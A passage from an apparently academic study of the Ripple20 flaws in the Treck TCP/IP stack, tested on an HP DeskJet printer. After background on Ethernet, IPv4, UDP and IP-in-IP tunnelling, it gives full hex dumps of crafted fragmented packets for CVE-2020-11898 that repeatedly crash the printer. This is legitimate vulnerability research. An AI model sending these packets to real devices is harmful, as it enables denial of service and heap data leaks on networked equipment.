packets while others concern parsing of DNS responses, etc. This will become more apparent in
the following chapters where we describe our attempts to exploit two of the vulnerabilities using
two fundamentally different approaches.

A list of all the vulnerabilities included in the Ripple20 group, including their CVE ID,
CVSS score, description, and version of the Treck TCP/IP stack that fixes the respective issue is
presented in Appendix A. Four of the vulnerabilities are rated critical (CVSS score over 9) and
allow for remote code execution. [26]

Although the principles of these vulnerabilities and methods of their exploitation may be very
different, the root causes are often very similar and include the “usual suspects” like improper
input validation, possible out-of-bounds read or improper handling of the length parameter
inconsistency (plus some others) [26]. Detailed information on the vulnerabilities targeted in our
experiments can be found in the respective sections in the following chapters.

A successful exploitation of these vulnerabilities could imply a number of risk scenarios,
providing the attacker with numerous possibilities, e.g. to take control over an Internet-facing
device; to target a specific device after a successful infiltration in the network (using other
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means); to broadcast an attack that is able to take over all impacted devices in the network; or
even to perform an attack on a device from outside the network boundaries. “In all scenarios,
an attacker can gain complete control over the targeted device remotely, with no user interaction
required.” [26]

Possible consequences of such attacks depend on the specific targeted device and the network
to which it is connected. Taking into account that dozens of vendors were actually affected (as of
October 25, 2020, 31 vendors were confirmed as affected, 66 vendors were pending confirmation,
29 were confirmed as not affected), including companies producing medical devices or power
systems, it is clear that a successful DoS attack itself could have disastrous consequences for the
impacted organization.

1.6 Device Selected for Experiments
The initial announcement of the Ripple20 zero-day vulnerabilities included a relatively long list
of affected manufacturers. After deciding to attempt to explore these vulnerabilities, we faced
the question of which device to acquire for our experiments. Although it would be possible to
use the same device as the authors of the initial whitepaper, selection of another device and
exploring it without knowing the results in advance seemed like a better idea to us, although it
implied a lot of uncertainty.

Hewlett Packard, one of the affected manufacturers mentioned by JSOF, published—in con-
nection with Ripple20—a list of its products with recommended firmware updates. By comparing
the types listed on the respective web page [28] with products currently available on primary and
secondary markets in Czechia, we found several intersecting points. HP DeskJet Ink Advantage
3775 printer was among them.

The selected device is the HP DeskJet Ink Advantage 3700 All-in-One printer (regulatory
model number 5DGOB-1621, FPU No. J9V87-64006), firmware version LAP1FN1828AR of
July 13, 2018. After completing the basic experiments, a firmware update to LAP1FN2020BR
was performed and the behaviour of the device with the updated firmware was tested too.

Figure 1.3 shows a photograph of the device.

Figure 1.3 HP DeskJet Ink Advantage 3775 printer used for out tests.

When describing the response of the device to various conditions or attacks, we use some
indicators from its control panel. It is therefore necessary to become familiar with them. The
control panel of the device can be seen in Figure 1.4.
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Figure 1.4 Control panel of the device (reprinted from [29], p. 5). Key: (1) Control panel display;
(2) Information button; (3) Resume button with Resume light; (4) Cancel button; (5) Wireless button
with Wireless light; (6) Start Copy Color button; (7) Start Copy light; (8) Start Copy Black button;
(9) Ink Alert light; (10) Web Services button with Web Services light; (11) Wi-Fi Direct button with
Wi-Fi Direct light. Moreover, the power button of the device features a LED light which can enter the
following states: off/on/flashing.

It is possible that a network printer does not fit all the definitions of an IoT device, arguing
that it lacks the perception layer, and so on. Taking into account the objectives of our study,
however, we consider such distinction irrelevant. From the cybersecurity viewpoint, our device
poses exactly the same risks as any “proper” IoT device and its use of protocol stack does not
differ from other IoT devices either.

1.7 Selection of Vulnerabilities for Attacks

The first whitepaper published by JSOF in June 2020 [27] described in detail two Ripple20
vulnerabilities, viz. CVE-2020-11896 and CVE-2020-11898. The second whitepaper [16] that
followed in August 2020 contained a description of the CVE-2020-11901 vulnerability.

First of all, it is important to note that before starting our experiments, we had no guarantee
that our device would contain any of the vulnerabilities at all. The TCP/IP stack by Treck, Inc.,
exists in many different versions and some of the vulnerabilities described by JSOF have already
been corrected before. The information whether and to what extent individual clients of Treck,
Inc., i.e. hardware manufacturers, applied updates to their products is not available to general
public.

Of the three Ripple20 vulnerabilities introduced in more detail by JSOF in their whitepapers,
we decided to test CVE-2020-11898 and CVE-2020-11901. We ruled out the first of the three
described vulnerabilities, CVE-2020-11896, as its description implied additional restrictions (un-
known variables): “The exploit is probably easily adaptable to devices using the Treck stack that
use the same heap configuration and a similar (slightly older) version of Treck” [27].
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1.8 Environment for Our Experiments
Our device is a printer capable of connecting to Wi-Fi. The full setup for our experiments
therefore consists of: (1) a router connected to the Internet with a Wi-Fi function, (2) a personal
computer connected to the router, and (3) the printer, connected to the router.

For portability reasons, a mobile phone is used as a router (Lenovo K9, running Android OS,
with the Wi-Fi hotspot function on). The personal computer connected to the router is Lenovo
ThinkBook laptop running OpenSUSE Leap 15.2 version of Linux. The device is the HP DeskJet
Ink Advantage 3700 printer described in Section 1.6.
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Implementation of an Attack on
the CVE-2020-11898

Vulnerability

CVE-2020-11898 is the first vulnerability selected for our experiments. It was described in detail
in the first technical whitepaper published by JSOF in June 2020 [27]. In the following sections,
we will introduce some necessary technical concepts utilized in computer networks, like the OSI
network layer model, Ethernet, Internet Protocol or IP in IP tunnelling.

After reviewing the theoretical background, we move on to a detailed description of the vul-
nerability, hardware settings, and software tools used in our experiments. A detailed description
of our experiments follows, together with results and conclusions. It is again necessary to stress
that we did not know whether the vulnerability was present in the device before starting our
experiments. Determination of its presence is therefore one of the sub-objectives of the present
study.

2.1 Theoretical Background: Networking Basics
Before we can start describing specific properties and bugs of the affected system and the method
of their potential exploitation, we have to make a brief introduction to computer networks.

For this reason, we include the following sections explaining the fundamental networking
concepts, like the OSI model and its layers, Ethernet, Internet Protocol, UDP protocol and
IP in IP tunnelling, which might not be a fundamental concept but is needed for the particular
vulnerability we are dealing with.

2.1.1 The OSI Model
Considering purely chronological criteria, the Open Systems Interconnection reference model or
OSI model would not be presented as the first concept. The OSI model was created from two
projects that were developed independently starting from late 1970s and it was first published
in 1984 by the International Organization for Standardization as standard ISO 7498. [30]

Its prominent position in our introduction results from the fact that the OSI model offers
a comprehensible overview of a layer-based network model and helps to grasp the basic no-
tions. According to it, there are seven layers of network communication. Please note that the
descriptions, which are based on [31], are highly simplified:

15
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Application layer is the human-computer interaction layer, the only layer that interacts di-
rectly with the user; example of protocols: HTTPS, SMTP.

Presentation layer prepares data for the application layer, includes translation, encryption,
compression of data.

Session layer opens and closes communication between devices.

Transport layer is responsible for the communication between devices. This may involve
a breaking of data taken from the session layer into chunks (segments) and handing them
over to the network layer as well as reassembling of data obtained from the network layer on
the receiving device. The TCP and UDP protocol that we will deal with later in this chapter
belong to this layer.

Network layer ensures data transfer between networks. It breaks up segments into smaller
units (packets) and reassembles them again on the receiving device. The network layer takes
care of routing (finding the best path to the destination) too. Internet protocol (IPv4, IPv6)
is one of the protocols of this layer.

Data link layer does the tasks that are very similar to those of the network layer, but for two
devices on the same network. It breaks the packets into smaller units called frames. This
layer often utilizes the Ethernet protocol.

Physical layer is the layer of the actual physical equipment involved in the data transfer, like
cables and switches. It converts the data into a form that can be transferred by the respective
medium (e.g. into a bit stream) and vice versa.

The OSI reference model is not the only available model. We can mention the so-called
TCP/IP model, which is quite similar to the OSI model, although it introduces certain simplifi-
cation (reduction of the number of layers). Figure 2.1 shows the comparison of the two models
together with protocols associated to individual layers.

Figure 2.1 OSI reference model compared to TCP/IP model (reprinted from [32], p. 4).

2.1.2 Ethernet
The history of modern computer networks may be traced to various specific technologies and
inventions. If we were to choose one which has most impacted the current form of our computer
networks, including the Internet, it would certainly be the Ethernet.
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Ethernet was invented in early 1970s by Robert Metcalfe, David Boggs and other members of
their team charged with a task of creating a local-area network for Xerox’s Palo Alto Research
Center. From a closed in-house system it gradually evolved into an industry standard, beat-
ing some very serious competitors along the way. At present, networks based on non-Ethernet
alternative technologies are mostly historical curiosities. (This does not apply to Wi-Fi technolo-
gies which have become very popular. “But to supply those Wi-Fi access points with network
connectivity, Ethernet will always have a role.” [33])

When we look at Figure 2.1, we find the Ethernet protocol at the data link layer. The layer
description mentions that its task is to break the packets into smaller units called frames. [31]
The most important benefit of Ethernet, however, lies somewhere else: it is the packet collision
avoidance system that allowed to use the network infrastructure in a far more efficient manner
than any alternative options.

The packet collision avoidance method defines what to do when two different sources are
broadcasting packets at the same time. The approach used before Ethernet, i.e. packets were
rebroadcast after some waiting, ensured a relatively reliable data delivery but the maximum
traffic load was reached at only 17% of its potential maximum efficiency. Metcalfe studied
the problem thoroughly and discovered that the right packet queuing algorithms are capable
of increasing this number up to 90%. Ethernet’s media access control (MAC) rules, Carrier
Sense Multiple Access with Collision Detect (CSMA/CD), have been created on the basis of his
work. [33]

In the CSMA/CD technique, a station that has data to send first listens to determine whether
any other station is transmitting. When the channel is busy, the station waits. When the channel
becomes idle, the station commences transmission. When two stations discover simultaneously
an idle channel, a collision may appear. Successive collisions are prevented using a random delay
scheme. [34]

In our study, we will encounter Ethernet protocol when we capture frames sent or received by
our device or PC by Wireshark (software utility for analysing network traffic). The captured units
are actually Ethernet frames and they consist of a header and a payload. We should therefore
understand their structure. Figure 2.2 shows an actual Ethernet frame captured during our
experiments.

  

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    d8 12 65 2c 58 a1 b0 5c da 6e 70 8a 08 00 45 00
0010:    00 42 00 01 00 00 40 11 a2 18 c0 a8 2b fb c0 a8
0020:    2b 46 cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
0030:    00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
0040:    70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Ethernet Frame Header (0000-000d)
d8 12 65 2c 58 a1 Destination MAC address
b0 5c da 6e 70 8a Source MAC address
08 00 Ethertype value (IPv4)

Ethernet Frame Payload (000e-004f)
45 00
00 42 00 01 00 00 40 11 a2 18 c0 a8 2b fb c0 a8
2b 46 cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Figure 2.2 Example of an Ethernet frame.

In Figure 2.2 we can see the structure of the header. It follows the IEEE Standard for Ethernet
[35, p. 120–121] and consists of these three parts: destination MAC address (6 bytes), source
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MAC address (6 bytes) and Length/Type value (2 bytes). A MAC address is a 6 byte address
that consists of a Company ID of 3 bytes (ID assigned to the respective hardware manufacturer)
and of other 3 bytes ensuring a reasonable level of uniqueness within a local network. As regards
the Length/Type field, IEEE 802.3-2018 standard [35, p. 121] states: “If the value of this field is
greater than or equal to 1536 decimal (0600 hexadecimal), then the Length/Type field indicates
the Ethertype of the MAC client protocol (Type interpretation).” In this case we have 0x0800
and therefore the field indicates the Ethertype value. According to IEEE 802-2014 standard [36,
p. 28], the value of 0x0800 indicates the IPv4 protocol.

In Figure 2.2 we intentionally leave the payload as unstructured data since it is exactly how
the multi-layer system operates: it takes the data coming from the neighbouring layer, “packs” it
in own wrapper, disregarding the actual payload content or its structure. (For those who need to
know: the packet depicted in Figure 2.2 is an IP packet with UDP datagram containing a DNS
query, see Figure 3.2.)

2.1.3 Internet Protocol
Internet Protocol (IP) operates at the network layer. RFC 791 [37] from September 1981 defines
the function of the Internet Protocol as follows: “The internet protocol provides for transmitting
blocks of data called datagrams from sources to destinations, where sources and destinations are
hosts identified by fixed length addresses. The internet protocol also provides for fragmentation
and reassembly of long datagrams, if necessary, for transmission through ‘small packet’ networks.”
[37, p. 1].

Two versions of Internet Protocol are important for us. First, it is version 4 (IPv4), which
has dominated the cyberspace for decades. It has clear limits, however, of which the insufficient
address space is probably the most crucial. Therefore, version 6 (IPv6) was developed, which
overcomes the shortcomings of version 4 and should be able to meet even future demands,
hopefully forever.

In order to prevent an uncontrolled increase in the number of combinations of variables used
in our experiments, we have decided to restrict our testing environment to Internet Protocol
version 4 only. Only the most important information on both protocol versions will be therefore
presented here. Afterwards, we will deal in detail with the structure of IPv4 packets only.

The most important difference between the two versions of Internet Protocol is related to IP
addresses. As already mentioned above, IP address is a fixed length address. Since the authors
of the original concept could hardly imagine in 1981 that their invention shall become one of
the backbones of a flourishing world-wide network, they decided to construct the IP address
as a sequence of 32 bits only. Obviously, this considerably limits the available address space
(approx. to 4.295 billion addresses). IPv6, on the other hand, provides an immense address
space as its addresses consist of 128 bits. It introduces some other improvements as well but—
quite naturally—creates a problem related to backward (in)compatibility. [38]

During our experiments we capture IP packets (wrapped in Ethernet frames, as explained
above) and we therefore have to familiarize ourselves with their form and structure. Figure 2.3
shows an example of IPv4 packet actually captured by us.

Figure 2.3 again shows the Ethernet frame header, but the payload is now structured. As it
is an IPv4 packet, we can identify an IPv4 header and the packet payload (which will be dealt
with later). The IPv4 header consists of the following sections (all information is based on RFC
791 [37], the specific values are those present in the example in Figure 2.3):

The first four bits indicate the Internet protocol version, the following four bits indicate IHL
(Internet header length). According to the RFC 791 document [37], “Internet Header Length
is the length of the internet header in 32 bit words”. The IHL value of 5 therefore means that
the header length is 20 bytes.



2.1. Theoretical Background: Networking Basics 19

  

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    d8 12 65 2c 58 a1 b0 5c da 6e 70 8a 08 00 45 00
0010:    00 42 00 01 00 00 40 11 a2 18 c0 a8 2b fb c0 a8
0020:    2b 46 cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
0030:    00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
0040:    70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Ethernet Frame Header (0000-000d)
d8 12 65 2c 58 a1 Destination
                  MAC address
b0 5c da 6e 70 8a Source
                  MAC address
08 00 Ethertype value (IPv4)

IP Header (000e-0021)
45 IP version (4) and IHL (5, i.e. 20 bytes)
00 Service type
00 42 Total length (66 bytes)
00 01 Packet ID (0x0001)
00 00 Flags
40 Time to live (64 s)
11 Protocol (17 = UDP)
a2 18 Header checksum
c0 a8 2b fb Source IP address 192.168.43.251
c0 a8 2b 46 Destination 
            IP address 192.168.43.70

IPv4 Packet Payload (0022-0049)
      cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Figure 2.3 Internet Protocol packet (the hatched boxes) within an Ethernet frame.

The second byte in the header indicates the type of service. The value consists of several
flags implying precedence and levels of delay, throughput and reliability. The value we find
here (0x00) is a “normal” value.

The next two bytes indicate the total length of the packet. The value of 0x0042 means
66 bytes (indeed, the Ethernet header is not counted).

The following two bytes indicate the packet ID (in our case: 0x0001).

Two following bytes are divided in flags (3 bits) and fragment offset (13 bits). The first
flag must be zero, the second flag indicates “May Fragment” (0) vs. “Don’t Fragment” (1)
and the third flag is “Last Fragment” (0) vs. “More Fragments” (1). Here we have 0x0000,
b0000000000000000, meaning “may fragment”, “last fragment”, offset = 0.

The next byte indicates time to live in seconds (0x40 = 64 s).

The next byte: “This field indicates the next level protocol used in the data portion of the
internet datagram” [37]. According to RFC 790 [39], the value of 0x11 we find here means
“User Datagram”.

The following two bytes show the header checksum (here: 0xa218).

Source IP address follows: 0xc0 0xa8 0x2b 0xfb, i.e. 192.168.43.251.

Destination IP address occupies the last four bytes: 0xc0 0xa8 0x2b 0x46, i.e. 192.168.43.70.

In Figure 2.3, the payload is again intentionally left unstructured, although the information
obtained from the header indicates the protocol used (UDP in this particular case).

2.1.4 User Datagram Protocol
The User Datagram Protocol (UDP) is one of the two protocols used at the transport layer based
on the OSI or TCP/IP model, the other being the Transmission Control Protocol (TCP). In our
experiments, we encounter UDP only and therefore we will not deal with TCP here.

User Datagram Protocol is specified in RFC 768 [40]. UDP focuses on sending messages
between programs with a minimum of protocol mechanism. Under UDP, neither delivery nor
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duplicate protection is guaranteed. If such guarantee is needed, it is recommended to use the
Transmission Control Protocol (TCP), which has been designed specifically for such purposes.
“Applications requiring ordered reliable delivery of streams of data should use the Transmission
Control Protocol (TCP).” [40], p. 1.

Similarly to TCP, the User Datagram Protocol ensures multiplexing. This means that UDP
can be used by multiple processes within a single host. For this purpose, UDP uses ports and
sockets. This concept is described in RFC 793 for Transmission Control Protocol: “To provide
for unique addresses within each TCP, we concatenate an internet address identifying the TCP
with a port identifier to create a socket which will be unique throughout all networks connected
together.” [22], p. 10.

Port numbers are 16-bit numbers and are defined in RFC 6335 [41]. Ports with numbers from
0 to 1023 are System Ports and are assigned by IANA. Ports with numbers from 1024 to 49151
are known as User Ports or Registered Ports and are assigned by IANA too. Ports with numbers
from 49152 to 65535 are never assigned and are known as Dynamic Ports, Private or Ephemeral
Ports. [41]

In our experiments, we encounter UDP packets (in the context of attacks on CVE-2020-11901
vulnerability) and therefore we should understand their structure. There is no surprise that it
follows the general structure of header and payload, as illustrated in the Figure 2.4.

  

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    d8 12 65 2c 58 a1 b0 5c da 6e 70 8a 08 00 45 00
0010:    00 42 00 01 00 00 40 11 a2 18 c0 a8 2b fb c0 a8
0020:    2b 46 cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
0030:    00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
0040:    70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Ethernet Frame Header (0000-000d)
d8 12 65 2c 58 a1 Destination
                  MAC address
b0 5c da 6e 70 8a Source
                  MAC address
08 00 Ethertype value (IPv4)

IP Header (000e-0021)
45 IP version (4) and IHL (5, i.e. 20 bytes)
00 Service type
00 42 Total length (66 bytes)
00 01 Packet ID (0x0001)
00 00 Flags
40 Time to live (64 s)
11 Protocol (17 = UDP)
a2 18 Header checksum
c0 a8 2b fb Source IP address 192.168.43.251
c0 a8 2b 46 Destination 
            IP address 192.168.43.70

UDP Header (0022-0029)
cf d4 Source port number (53204)
00 35 Destination port number (53)
00 2e UDP packet length (46 bytes)
b2 ad Checksum

UDP Payload(002a-004f)
f6 d2 01 00 00 01 00 00 00 00 00 00 07 78 6d 70
70 30 30 38 08 68 70 65 70 72 69 6e 74 03 63 6f
6d 00 00 01 00 01

Figure 2.4 UDP packet (the hatched boxes) within an IP packet and Ethernet frame.

The UDP header is very simple and consists of the following sections (all the descriptions are
based on [40]):

Source port number (two bytes, here: 0xcfd4 or 53204)

Destination port number (two bytes, here: 0x0035 or 53, this is the port number assigned to
Domain Name System service)

UDP packet length (two bytes, here: 0x002e or 46 bytes)

Checksum (two bytes, here: 0xb2ad)

The payload is again intentionally displayed unstructured (it is a DNS message).
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2.1.5 IP in IP Tunnelling
IP in IP encapsulation (tunnelling) is described in RFC 1853 [42]. The technique “has long been
used to bridge portions of the Internet which have disjoint capabilities or policies” [42, p. 2].

The encapsulation is quite simple: a new IP header (the outer header) is added before the
original header, with optional other headers (e.g. security headers specific for the tunnel in
question) between them. [42]

As far as the content of the outer (new) IP header is concerned, RFC 1853 provides the
following specification [42, pp. 3–4]:

The type of service is copied from the inner IP header.

A new ID number is generated for each outer header. There may be more outer IP headers
due to fragmentation (e.g. when the maximum packet size within the tunnel is smaller than
that of the upstream system and the incoming IP packet is too large).

The “Don’t fragment” flag is copied from the inner IP header while the “More fragments”
flag is set as required by fragmentation.

A new value for time to live is specified, the inner IP header time to live is decremented once
before encapsulation.

Protocol specifies the next header protocol. If no special header is used between the outer
and inner IP headers, protocol 4 is used (Internet Protocol).

Source and destination designate the beginning and end of the tunnel.

Options are not copied from the inner header and new options may be used.

Figure 2.5 illustrates the concept of IP in IP tunnelling with fragmentation. (Please note
that Figure 2.5 shows IP packets, not Ethernet frames, therefore there are no Ethernet headers
displayed.)

2.2 Detailed Description of the Vulnerability
The vulnerability designated as CVE-2020-11898 was one of the two vulnerabilities described in
detail in the whitepaper published together with the first public announcement of the Ripple20
vulnerabilities in June 2020 [27].

The National Vulnerability Database provides the following information about it [43]:

Current description: The Treck TCP/IP stack before 6.0.1.66 improperly handles an IPv4/
ICMPv4 Length Parameter Inconsistency, which might allow remote attackers to trigger an
information leak.

Severity: Base score: 9.1 Critical

Weakness enumeration: CWE 200, Exposure of Sensitive Information to an Unauthorized
Actor

When an IP packet received by the protocol stack contains an invalid IPv4 protocol number
(e.g. 0), the stack creates an ICMP error message (destination unreachable, protocol unreach-
able). For debugging purposes, some data from the offending packet are copied to the error
packet by the respective function. [27, p. 22]

The amount of data copied to the error packet is calculated as the header length + 8 bytes
or the entire packet, whichever is smaller [27, pp. 22–23]. Due to the incorrect handling of IP
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Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   4e 00 00 65 00 01 00 00 40 00 99 08 c0 a8 2b 46
0010:   c0 a8 2b fb 00 00 00 00 00 00 00 00 00 00 00 00
0020:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030:   00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41
0040:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0050:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0060:   41 41 41 41 41

Inner IP packet: header and payload

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   45 00 00 2c 33 8b 20 00 40 04 4e b1 c0 a8 2b 46
0010:   c0 a8 2b fb 4e 00 00 65 00 01 00 00 40 00 99 08
0020:   c0 a8 2b 46 c0 a8 2b fb 00 00 00 00

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   45 00 00 61 33 8b 00 03 40 04 6e 79 c0 a8 2b 46
0010:   c0 a8 2b fb 00 00 00 00 00 00 00 00 00 00 00 00
0020:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030:   00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41
0040:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0050:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0060:   41

New IP packet 1 with new IP header

New IP packet 2 with new IP header

The packet is 
divided into two 
fragments: the 
section above the 
dotted line goes in 
the new IP packet 1

   The remaining
   part (part of 
  the original 
header and all 
of the payload) 
goes in the new 
IP packet 2

1

2

Figure 2.5 Example of IP in IP tunnelling with fragmentation.

in IP tunnelling by the TCP/IP stack, however, individual fragments in a fragmented IP packet
are all assigned the total length value [27, p. 8]. This can result in a situation where a fragment
is actually shorter than 68 bytes (which is the maximum length of IP header plus 8 bytes), but
the protocol stack considers it as longer and therefore returns 68 bytes of data. [27]

Consider the following example from [27], p. 22:

Inner IP packet: IPv4{ihl=0xf, len=100, proto=0} with payload ‘\x00’*40+‘\x41’*100.

Outer IP packet (fragment 1): IPv4{frag offset=0, MF=1, proto=4, id=0xabcd} with 24 bytes
from the inner IP packet payload. This means that 20 bytes of IP header will be copied, plus
4 null bytes.

Outer IP packet (fragment 2): IPv4{frag offset=24, MF=0, proto=4, id=0xabcd} with the
rest of the bytes from the inner IP packet as payload.

After the two outer packets are processed, the inner packet is not assembled in a way that the
entire packet is copied in a continuous memory area. Instead, the fragmented packet is stored as
a linked list where each data structure contains the respective fragment data and a link to the
next fragment. [27]

When the TCP/IP stack discovers that the protocol number (0) in the inner packet is invalid,
it raises an error and assembles the ICMP error message mentioned above. In this moment,
however, the fragment length associated with each fragment is 100. When the function checks
the IHL (0xf, which means that the header is 60 bytes long), it decides to copy 68 bytes of data
to the packet with the ICMP error message (as 68 is less than 100), although the fragment is
actually only 24 bytes long. This results in a leak of 44 bytes of data from the heap. [27]

Improper handling of the length parameter inconsistency is the root cause of this vulnerabil-
ity. [27]



2.3. Getting Everything Ready 23

2.3 Getting Everything Ready
The following sections describe the specific hardware settings, software tools and methods em-
ployed in performing an attack on the CVE-2020-11898 vulnerability.

2.3.1 Hardware Settings
The experiments performed in our attempts to exploit the CVE-2020-11898 vulnerability utilize
the basic hardware settings as described in Section 1.8.

2.3.2 Software Tools Used for the Attack
In early stages of our research, we performed simulated attacks on the CVE-2020-11898 vulner-
ability using the Scapy tool1. After becoming more self-confident in packet manipulating skills,
we decided to create just a simple python script capable of sending the contents of pre-prepared
binary files to the selected network interface. The script named 11898.py can be found on the
attached data medium.

Our script 11898.py is based on a minimalist approach. It does nothing more than accept
command line arguments, check them, read the content of two binary files and send them as two
separate Ethernet frames to the selected network interface.

To prepare files with the binary representation of the Ethernet frames, a simple C++ program,
framegen.cpp has been written and used. It can be also found on the attached data medium,
both as the source code and the compiled binary executable.

framegen.cpp is again a very simple program that allows for creating of a binary file with an
arbitrary content. As the number of different parameters is relatively high, we have decided not
to input them from the command line but directly in the source code. Each change of parameters
thus requires a new compilation of the binary executable. framegen.cpp employs a function that
determines the checksum value to be included in an IP header.

Wireshark software utility2 was used to monitor the network traffic in order to detect any
response from the device and/or any abnormalities.

2.3.3 Construction of Special Packets
Two outer IP packets and one inner IP packet described in Section 2.2, proposed by the JSOF
researchers, were used for the attack. They were prepared using our custom-made software tool
framegen.cpp. The inner packet is shown in Figure 2.6 and the outer packets in Figures 2.7
and 2.8.

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   4f 00 00 64 00 01 00 00 40 00 98 07 c0 a8 2b 46
0010:   c0 a8 2b fb 00 00 00 00 00 00 00 00 00 00 00 00
0020:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030:   00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41
0040:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0050:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0060:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0070:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0080:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0090:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

Header

Payload

Figure 2.6 Inner IP packet used for attack on the CVE-2020-11898 vulnerability.

1https://scapy.net/
2https://www.wireshark.org/
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Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   b0 5c da 6e 7a 8a d8 12 65 2c 58 a1 08 00 45 00
0010:   00 2c 33 8b 20 00 40 04 4e b1 c0 a8 2b 46 c0 a8
0020:   2b fb 4f 00 00 64 00 01 00 00 40 00 98 07 c0 a8
0030:   2b 46 c0 a8 2b fb 00 00 00 00

Ethernet header

Outer IP packet
header

Inner IP packet
header (incomplete)

Figure 2.7 First outer IP packet used for attack on the CVE-2020-11898 vulnerability.

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   b0 5c da 6e 7a 8a d8 12 65 2c 58 a1 08 00 45 00
0010:   00 61 33 8b 00 03 40 04 6e 79 c0 a8 2b 46 c0 a8
0020:   2b fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030:   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0040:   00 00 00 00 00 00 41 41 41 41 41 41 41 41 41 41
0050:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0060:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0070:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0080:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0090:   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00a0:   41 41 41 41 41 41 41 41 41 41

Ethernet header

Outer IP packet
header

Inner IP packet
payload

Inner IP packet
header (second part)

Figure 2.8 Second outer IP packet used for attack on the CVE-2020-11898 vulnerability.

Since we constructed the packets as Ethernet frames, the outer packets (where it is relevant)
are displayed including the Ethernet headers.

Indeed, this was not the only pair of packets or frames used during our experiments. Quite
naturally, the path was not straightforward and we tried a number of different options. We tried
to change various parameters within the IP headers. Although the Total Length field in the
inner IP packet has shown to be of particular importance, it was not the only parameter we tried
to manipulate with. IHL of the inner packet as well as various options of fragmentation of the
inner packet among the two outer packets were explored too.

Packets used for such experiments were constructed using our software tool framegen.cpp. We
have already mentioned that our tool calculates the correct checksum values for the IP headers.
Mutual internal relations between various values (e.g. the fragment offset in IP header and the
actual length of the first fragment) were taken care of manually.

2.4 Attack Implementation
After preparing the correct environment and setting up all the necessary tools, as described
in previous sections, the packets prepared on the basis of information specified in [27], as shown
in detail in Section 2.3.3, were sent to our IoT device. When doing so, all the network communi-
cation with our IoT device was monitored using the Wireshark utility. Byte form of the frames
used for the attack are available on the attached data medium as the binary files frame1-01.bin
and frame2-01.bin.

The response of our IoT device was immediate: it entered an error state, stopped responding
to any queries (like pings), the Resume light and Wireless light on the control panel were flashing,
the power button LED was flashing and a letter E was blinking on the device’s LCD display
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(see Figure 2.9). We found just one way how to recover from this state, to push the power
button. After doing so, the device restarts to a normal state (i.e. if we want to switch the
device off, we have to push the power button once, wait until it restarts, and then push it again).
Furthermore, Wireshark did not detect any response from the printer. We were able to achieve
the same result repeatedly with 100% accuracy.

Figure 2.9 Device indicating error: flashing/blinking elements on control panel.

Following this initial attempt, we tried to tweak some parameters of the fragmentation, IP
headers and the actual payload. In doing so, we were able to verify that the IoT device actually
performs the basic sanity checks described in [27], p. 7–8: “In addition to verifying the header
checksum, it also verifies that:
ip_version == 4 &&
data_available >= 21 &&
header_length >= 20 &&
total_length > header_length &&
total_length <= data_available.”

When we changed the packets in such a way that the respective conditions were not fulfilled,
our device simply did nothing. We understand such response (no error state, no response detected
in Wireshark) as an indication that the packets were rightly identified as malformed by the device
and were dropped before the vulnerable program part could be executed.

The byte forms of the frames used for these experiments are available on the attached
data medium as the binary files frame1-03.bin and frame2-03.bin (IP version equal to 5),
frame1-04.bin and frame2-04.bin (data available equal to 20), frame1-05.bin and frame2-05.bin
(header length equal to 16), frame1-06.bin and frame2-06.bin (total length equal to header
length), and frame1-07.bin and frame2-07.bin (total length exceeds data available).

If we change the Total Length value in the inner IP packet header to the actual correct
length of the inner packet (i.e. from 100 to 160 in the example described in Section 2.3.3),
we can achieve a correct-scenario behaviour, when the device responds exactly as expected. It
is because in such a case, the vulnerable fragment trimming function is not called at all. We
mention it because it can be seen as another evidence that the vulnerable function is actually
present in the device, although it may be coupled with another problem. The byte form of
the frames used for the attack are available on the attached data medium as the binary files
frame1-02.bin and frame2-02.bin.

The response of the device to these “correct” frames, as captured by Wireshark, is illustrated
in the Figure 2.10.

